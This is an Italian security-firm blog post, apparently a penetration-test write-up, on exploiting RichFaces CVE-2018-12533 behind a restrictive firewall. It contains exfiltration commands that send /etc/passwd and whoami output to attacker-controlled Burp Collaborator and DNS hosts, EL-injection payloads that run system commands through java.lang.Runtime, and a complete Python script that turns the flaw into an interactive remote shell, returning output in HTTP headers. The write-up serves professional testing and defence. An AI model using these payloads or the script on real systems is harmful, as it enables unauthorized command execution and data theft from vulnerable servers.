Security

Exploiting RichFaces CVE-2018-12533 in a heavily firewalled box

Due tecniche di data exfiltration

Riccardo Krauter, Fabio Carretto, Daniele Scanu, Dario Ragno Gennaio, 2020
Exploiting RichFaces CVE-2018-12533 in a heavily firewalled box

In questo articolo descriviamo due diverse tecniche con cui siamo riusciti a fare data exfiltration tramite la vulnerabilità di RCE del CVE-2018-12533 in un ambiente protetto da firewall.

L'inizio della storia

Durante un Penetration Test per una "big company", osservando l’HTML di una pagina web, abbiamo individuato un tag <link> con un path relativo contenente un riferimento alla libreria RichFaces. Inoltre, il link conteneva una stringa codificata in Base64 che ci ha fatto pensare a un qualche tipo di oggetto serializzato.

Dopo una rapida ricerca su Google, abbiamo trovato un CVE relativo a RichFaces che poteva fare al caso nostro: il CVE-2018-12533. La vulnerabilità è sembrata promettente considerando che si tratta di RCE. Leggendo la descrizione abbiamo capito che tale vulnerabilità è incentrata su due problematiche: Arbitrary Java Deserialization e Arbitrary EL Evaluation. Maggiori informazioni sul CVE sono disponibili sul blog di Code White.

Alla ricerca di un exploit

A questo punto ci occorreva un payload per verificare se il CVE fosse applicabile o meno. Sempre grazie a Google, abbiamo trovato una repository git che sembrava fare al caso nostro: https://github.com/TheKalin/CVE-2018-12533. Quindi abbiamo scaricato il codice, corretto alcuni problemi e compilato. Con il JAR abbiamo generato un payload da iniettare nella richiesta HTTP per provare ad ottenere un PoC.

RCE for the win

Per sfruttare la vulnerabilità abbiamo creato un payload usando lo script menzionato e l'abbiamo iniettato nella URI path. Purtroppo, anche utilizzando un payload corretto, non era presente nessun output nella risposta. L’immagine che segue mostra un esempio opportunamente anonimizzato della richiesta e della relativa risposta del server.

TheKalin exploit RichFaces response

Come è possibile notare, in risposta era presente solo un’immagine PNG generata mediante l’oggetto serializzato.

Allora abbiamo provato a far eseguire al server un comando più basilare come nslookup poc-cmd.<burpcollaborator>.net. Ciò che ci aspettavamo era una richiesta DNS da parte del server remoto verso il nostro Burp Collaborator. Infatti, successivamente all’invio del payload, siamo andati a vedere la finestra del nostro Burp Collaborator e... BOOM!

RCE PoC

l'exploit ha funzionato correttamente, dandoci così un PoC della vulnerabilità.

Non avendo ricevuto alcun output all'interno del corpo della risposta, abbiamo provato a inserire l'output del comando come URI path di un dominio sotto il nostro controllo. Di seguito un esempio di comando bash per Out of Band (OOB) Exploitation:

curl http://<unique-subdomain>.burpcollaborator.net/`cat /etc/passwd|base64 -w0`

Dopo alcuni tentativi, abbiamo concluso che il firewall stava bloccando tutto il traffico TCP.

Firewall bypass

La connessione che avevamo ricevuto precedentemente indicava una query DNS (UDP) effettuata verso il nostro Burp Collaborator. A questo punto, per superare il firewall, ci sono venute in mente le seguenti metodologie:

  • Provare a utilizzare altri protocolli, come il protocollo UDP
  • Provare a utilizzare una tecnica basata sul tempo (ad esempio: chiedere al server di attendere per un certo periodo di tempo se l'output è quello atteso). Questa tecnica è molto simile alla time-based SQL Injection.

L’uso del protocollo UDP ci è sembrata una buona scelta dal momento che siamo già riusciti a ottenere una query DNS su un dominio sotto il nostro controllo. L’idea di base è di eseguire un comando principale per poi inserire l’output di quest’ultimo come subdomain di un dominio sotto nostro controllo. Successivamente è sufficiente analizzare la query effettuata dal server remoto per verificare se contiene i dati esfiltrati. Di seguito uno schema che spiega il funzionamento della data exfiltration tramite DNS:

RCE PoC

Ad esempio, se vogliamo esfiltrare lo username dell'utente corrente, possiamo usare il seguente payload:

nslookup `whoami`.nostrodominio.com

Di seguito un esempio:

RCE PoC

Su Burp Collaborator vediamo il DNS lookup che segue:

RCE PoC

Sfortunatamente, questa tecnica ha alcune limitazioni. Una su tutte è il numero massimo di caratteri che può avere un sottodominio. Citando Wikipedia: "I nomi di dominio sono soggetti a determinate restrizioni: per esempio ogni parte del nome (quella cioè limitata dai punti nel nome) non può superare i 63 caratteri e il nome complessivo non può superare i 255 caratteri". Quindi, per sfruttare tale tecnica, è necessario dividere l’output in parti di lunghezza massima di 63 caratteri e per ognuna è necessario eseguire una query DNS. Inoltre, i nomi di dominio non possono contenere alcuni caratteri speciali, dunque è necessario eliminarli o trasformarli prima di eseguire la query DNS.

Usando questa tecnica siamo comunque riusciti ad estrarre l’output di alcuni comandi ma volevamo qualcosa in più...

Cambio di strategia

Cercando in Internet abbiamo scoperto che Java Server Faces (JSF) consente di impostare degli header HTTP personalizzati tramite l'oggetto facesContext. Questo ci fornisce una nuova opportunità per sfruttare la RCE. L'idea è di impostare un header personalizzato che contiene l'output del comando che vogliamo eseguire. In questo modo non abbiamo più i limiti imposti dalla metodologia di data exfiltration tramite DNS e riusciamo comunque a superare il firewall in quanto la risposta è correlata a una connessione TCP valida e iniziata da un client. Di seguito lo schema che descrive la nuova tecnica:

RCE PoC

Non spieghiamo in questo articolo cos'è la vulnerabilità di "Expression Language Injection" o EL-Injection, basti sapere che consente di iniettare codice java e che, come da CVE-2018-12533, RichFaces ne soffre. Inoltre, una particolarità della libreria RichFaces è la visibilità sull’oggetto facesContext che, come abbiamo visto, permette l’accesso a funzioni per la gestione delle richieste e delle risposte HTTP.

Analizziamo un payload che inserisce un header HTTP personalizzato nella risposta mediante l’uso della java reflection:

#{facesContext.getExternalContext().getResponse().setHeader("TestHeader", "output")}

Il codice precedente usa l'oggetto facesContext per chiamare il metodo getResponse() che restituisce un oggetto che rappresenta la risposta HTTP del server. Infine, chiama il metodo setHeader() che permette appunto di impostare un header HTTP personalizzato.

Java reflection to the max

In generale, con l'EL Injection ci sono alcune limitazioni sul codice che è possibile iniettare. Ad esempio, non si possono dichiarare variabili e istanziarle come nel codice mostrato di seguito:

String s = new String("test");

Bisogna invece utilizzare la java reflection per manipolare il codice. Una buona spiegazione della tecnica di java reflection può essere trovata qui: Java Reflection API Tutorial with Example. Fondamentalmente, è necessario accedere ad un oggetto esistente nel contesto in cui stiamo operando e usare i metodi di reflection per accedere ad altre funzioni o altri oggetti durante l'esecuzione.

Nella figura seguente abbiamo un esempio di utilizzo di java reflection in cui partiamo da una stringa vuota e utilizziamo la riflessione per accedere ad alcuni metodi.

RCE PoC

Esaminiamo ora la struttura di un payload che utilizza la java reflection per ottenere una Command Execution.

RCE PoC

Nel codice mostrato sopra, abbiamo utilizzato il metodo getMethods() che restituisce un array contenente tutti i metodi della classe java.lang.Runtime. Selezionando il settimo elemento di questo array (che corrisponde alla funzione exec(String command, String[] envp)) e usando il metodo invoke() per generare un oggetto di tipo Process, è possibile eseguire un comando di sistema (noi ad esempio abbiamo eseguito "calc.exe", la calcolatrice di Windows).

Ovviamente vogliamo usare questa tecnica per eseguire comandi sul sistema remoto.

Costruire il puzzle

Iniziamo ora a mettere insieme i pezzi per raggiungere l'obiettivo: ottenere l’output. Al momento siamo in grado di modificare la risposta del server e ottenere un output con questo payload:

#{facesContext.getExternalContext().getResponse().setHeader("TestHeader", "output")}

ed eseguire comandi sul server con quest’altro payload:

#{"".GetClass().ForName("java.lang.Runtime").GetMethods()[6].invoke("".GetClass().ForName("java.lang.Runtime"))).exec("calc.exe")}

A questo punto serve un modo per memorizzare l'output del comando e creare l’header HTTP personalizzato. Ciò che si può fare è provare ad accedere ad un oggetto già esistente come session e, mediante quest’ultimo, invocare metodi setter; un esempio di codice potrebbe essere il seguente:

#{session.setAttribute("proc",session.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bash, -c, whoami".split(",")))}

Il codice sopra non fa altro che associare al nome proc, memorizzato nella sessione corrente, l'oggetto restituito dalla exec(). Nell'esempio abbiamo eseguito il comando di sistema whoami.

Ora non resta che leggere il nuovo oggetto memorizzato in sessione e inserire il contenuto in un header personalizzato. Fortunatamente Java mette a disposizioni due classi utili allo scopo: InputStreamReader e BufferedReader.

Il flusso che ci è venuto in mente è il seguente:

1. istanziare un oggetto InputStreamReader al fine di catturare lo stream dell'oggetto Process e conservare il nuovo oggetto, che abbiamo chiamato val2, in sessione:

#{Session.setAttribute("val2", "".GetClass().ForName("java.io.InputStreamReader").GetDeclaredConstructors()[0].newInstance(session.getAttribute("proc").GetInputStream()))}

2. istanziare un oggetto BufferedReader con l'oggetto InputStreamReader al fine di leggere lo stream riga per riga e conservare il nuovo oggetto ,che abbiamo chiamato in val3, in sessione:

#{Session.setAttribute("val3", "".GetClass().ForName("java.io.BufferedReader").GetDeclaredConstructors()[1].newInstance(session.getAttribute("val2")))}

3. leggere riga per riga il contenuto dell'oggetto BufferedReader con la funzione readLine():

#{Session.getAttribute("val3").ReadLine()}

4. inserire, infine, il contenuto di val3, letto riga per riga, in un header HTTP personalizzato che abbiamo chiamato TestHeader:

#{FacesContext.getExternalContext().GetResponse().SetHeader("TestHeader",session.getAttribute("val3").ReadLine())}

A questo punto il gioco è fatto, abbiamo una risposta dal server che contiene l'output del comando desiderato all'interno di un header HTTP!

Riassumendo, con tre richieste HTTP distinte siamo in grado di:

  • conservare lo stream dell'output di un processo in sessione con InputStreamReader
  • conservare lo stream convertito in una sequenza di caratteri con BuferedReader
  • Inserire la sequenza di caratteri, una riga alla volta, in un header personalizzato con facesContext

Ovviamente, per automatizzare la procedura, abbiamo scritto un semplice script in python per simulare una shell interattiva.

#!/usr/bin/python

import requests
import urllib3
from urllib import unquote
import subprocess
import optparse
from Cookie import SimpleCookie
import base64

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/path/)")
parser.add_option('-c', '--cookie', action="store", dest="cookie", help="Session cookies")

options, args = parser.parse_args()
if not options.cookie:
    print "[+] Insert session cookies"
    exit()

if not options.url:
    print "[+] Insert target uri"
    exit()

def parse_cookies(cookie_val):
    if 'Cookie:' not in cookie_val:
        cookie_val = 'Cookie: ' + cookie_val
    cookie = SimpleCookie()
    cookie.load(cookie_val)
    cookies = {}
    for key, morsel in cookie.items():
        cookies[key] = morsel.value
    return cookies

def req(java_payload):
    #print url + java_payload
    flag = True
    r = None
    while flag:
        try:
            r = requests.get(url + java_payload, cookies=cookies, verify=False, allow_redirects=False)
        except:
            pass
        finally:
            flag = False
    return r.headers['output']

def get_payload(el_payload):
    out = '#{facesContext.getExternalContext().getResponse().setHeader("output",' + el_payload + ')}'
    #print out
    return subprocess.check_output(['java', '-jar', 'richfaces_payload_generator.jar', out]).replace('\n', '')

def readLine_java():
    while True:
        out = req(get_payload('session.getAttribute("val3").readLine()'))
        if out == "":
            break
        print base64.b64decode(unquote(out).replace('+', " "))

url = options.url + "/a4j/g/3_3_1.GA"
cookies = parse_cookies(options.cookie)

while True:
    cmd = raw_input('# ')
    req(get_payload('session.setAttribute("val",session.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("bashexPlo1t-cexPlo1t' + cmd.replace('"', '\\"') + ' | base64 -w 0".split("exPlo1t")))'))
    req(get_payload('session.setAttribute("val2","".getClass().forName("java.io.InputStreamReader").getDeclaredConstructors()[0].newInstance(session.getAttribute("val").getInputStream()))'))
    req(get_payload('session.setAttribute("val3","".getClass().forName("java.io.BufferedReader").getDeclaredConstructors()[1].newInstance(session.getAttribute("val2")))'))
    readLine_java()

Summary

Abbiamo avuto modo di sperimentare due valide strategie da conoscere durante un Penetration Test per ottenere l’output da un ambiente protetto da firewall. Inoltre, usare regole firewall restrittive è sicuramente una buona scelta ma evidentemente il solo impiego di un firewall non è sufficiente di fronte a un attaccante motivato e competente.

Riferimenti

Articoli correlati

Security

Articoli in evidenza

Approfondimenti

UNISCITI A NOI. INVIA LA TUA CANDIDATURA

Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.